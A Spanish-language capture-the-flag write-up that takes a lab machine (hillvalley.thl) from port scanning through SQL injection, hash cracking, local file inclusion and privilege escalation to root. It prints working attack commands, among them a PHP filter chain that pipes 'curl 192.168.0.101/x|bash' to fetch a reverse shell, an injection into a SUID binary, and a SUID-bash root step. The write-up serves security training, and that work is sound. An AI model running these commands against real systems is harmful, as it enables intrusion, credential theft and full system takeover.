Resolución del CTF: Back To The Future I
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo. Utilizamos un escaneo agresivo en velocidad y con detección de servicios y scripts básicos para obtener la mayor cantidad de información posible en una sola pasada, evitando resolución DNS y comprobaciones ICMP que puedan falsear el estado del host.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
Identificamos servicios FTP (21), SSH (22), HTTP (80) y MariaDB (3306). El servicio web indica uso de virtual hosting, por lo que es necesario resolver el dominio correcto.
echo "192.168.0.100 hillvalley.thl" | sudo tee -a /etc/hostsEnumeración web
Enumeramos contenido web para identificar puntos de entrada adicionales. Forzamos extensiones comunes y utilizamos un diccionario amplio para detectar recursos accesibles y paneles internos.
gobuster dir -u http://hillvalley.thl/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,htmlEl sitio presenta un formulario de autenticación, lo que unido a la presencia de un servicio MySQL expuesto sugiere un backend de base de datos accesible desde la aplicación.
Explotación
Inyección SQL
Probamos el formulario de login y detectamos comportamiento anómalo ante caracteres especiales, lo que confirma una posible inyección SQL. Automatizamos la explotación con sqlmap, especificando el parámetro vulnerable, el motor de base de datos y elevando nivel y riesgo para cubrir más técnicas.
sqlmap -u "http://hillvalley.thl/index.php" --data="username=TEST&password=TEST" -p username --batch --level=5 --risk=3 --dbms=mysql --technique=BEUSTQ --random-agentExtraemos la información relevante de la base de datos y volcamos la tabla de usuarios para obtener credenciales reutilizables.
sqlmap -u "http://hillvalley.thl/index.php" --data="username=TEST&password=TEST" -p username -D hillvalley -T users --dump --batchCracking de credenciales
El hash obtenido corresponde a bcrypt. Utilizamos John the Ripper con el diccionario rockyou para recuperar la contraseña en texto claro.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txtLocal File Inclusion
Una vez autenticados, observamos que la aplicación carga recursos dinámicamente mediante el parámetro page. Probamos rutas relativas y confirmamos un LFI funcional.
curl "http://hillvalley.thl/admin.php?page=../../../../etc/passwd"Para acceder al código fuente PHP utilizamos wrappers, aplicando php://filter para codificar el contenido y evitar su ejecución.
curl "http://hillvalley.thl/admin.php?page=php://filter/convert.base64-encode/resource=config.php"Ejecución remota de comandos
El LFI permite el uso de PHP Filter Chains. Generamos una cadena que ejecuta comandos del sistema y descargamos un payload desde nuestra máquina para obtener una reverse shell.
python3 php_filter_chain_generator.py --chain "<?php system('curl 192.168.0.101/x|bash'); ?>"Escalada de privilegios
Usuario marty
Desde la shell inicial localizamos credenciales en archivos de configuración y pivotamos al usuario marty. En su directorio encontramos un backup protegido que contiene una clave SSH privada.
unzip backup.zipCrackeamos la passphrase de la clave y accedemos por SSH de forma interactiva, eliminando la dependencia de la shell web.
ssh -i id_rsa [email protected]Usuario docbrown
Analizando binarios con permisos especiales detectamos backup_runner, que construye un comando tar con entrada controlada por el usuario. La falta de sanitización permite inyección de comandos.
/usr/local/bin/backup_runner "; /bin/bash -p ;"Root
El usuario docbrown puede ejecutar time_daemon como root sin contraseña. El binario consume el contenido de /tmp/sync, permitiendo ejecutar comandos arbitrarios con privilegios elevados.
echo "chmod +s /bin/bash" > /tmp/syncsudo /usr/local/bin/time_daemonCon la bash marcada como SUID, obtenemos una shell root persistente y acceso completo al sistema.
bash -p